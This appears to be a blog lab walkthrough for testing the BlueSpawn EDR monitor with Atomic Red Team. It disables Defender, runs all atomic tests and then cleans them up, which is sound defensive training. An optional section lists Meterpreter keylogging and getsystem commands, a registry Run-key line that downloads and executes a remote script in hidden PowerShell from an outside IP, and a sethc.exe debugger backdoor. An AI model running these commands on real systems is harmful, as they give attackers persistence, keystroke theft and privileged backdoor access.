Atomic Red Team Testing with Bluespawn

 Bluespawn


In this lab we will be using Bluespawn as an alternative for an EDR system. Normally full EDRs like Cylance, Symantec and Crowdstrike are very expensive and tend not to show up in classes like this.


BlueSpawn will monitor the system for "weird" behavior and note it when it occurs.


In this lab, we will be starting BlueSpawn and then running Atomic Red Team to trigger a lot of alerts.


First, let’s disable Defender. Simply run the following from an Administrator PowerShell prompt:


Set-MpPreference -DisableRealtimeMonitoring $true


This will disable Defender for this session.


If you get angry red errors, that is Ok, it means Defender is not running.


Let's get started by opening a Terminal as Administrator: 




Now, let's open a command Prompt:



Next, let’s change directories to tools and start Bluespawn: C:\Users\adhd>cd \tools

C:\tools>BLUESPAWN-client-x64.exe --monitor --level Cursory




Now, let’s use Atomic Red Team to test the monitoring with BlueSpawn:


First, we need to open a PowerShell Prompt:




Next, in the PowerShell Window we need to navigate to the Atomic Red Team directory and import the powershell modules:


PS C:\Users\adhd> cd C:\AtomicRedTeam\invoke-atomicredteam\


Then, install the proper yaml modules


PS C:\Users\adhd> Install-Module -Name powershell-yaml


PS C:\AtomicRedTeam\invoke-atomicredteam> Import-Module .\Invoke-AtomicRedTeam.psm1


Now, we need to invoke all the Atomic Tests.


Special note... Don't do this in production... Ever. Always run tools like Atomic Red Team on test systems. It is recommend that you run it on a system with your EDR/Endpoint protection in non-blocking/alerting mode. This is so you can see what the protection would have done, but it will allow the tests to finish.


PS C:\AtomicRedTeam\invoke-atomicredteam> Invoke-AtomicTest All


If you get any “file exists” questions or errors, just select Yes.


It should look like this:




Please note, there will be some errors when this runs. This is normal.


Only let this run for about 120 seconds!!! Kill it with Ctrl + c!!


You should be getting a lot of alerts with Bluespawn Switch tabs in your Terminal to see them:




Now, let’s go back to the PowerShell prompt and clean up:


PS C:\AtomicRedTeam\invoke-atomicredteam> Invoke-AtomicTest All -Cleanup


It should look like this:



If you have more time


Feel free to exploit system using the commands we went through in AppLocker or Sysmon and then run the following Meterpreter commands


Run commands


meterpreter > keyscan_start


meterpreter > keyscan_dump




meterpreter > shell


C:> reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Payload /d "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://172.20.243.5:80/a'))\"" /f


C:> reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "c:\windows\system32\cmd.exe"



meterpreter >getsystem









Comments

Popular posts from this blog

GOAD Active Directory LAB Setup on a Windows host

How to install Impacket/Ntlmrelayx.py

My Short Analysis - Redline Infostealer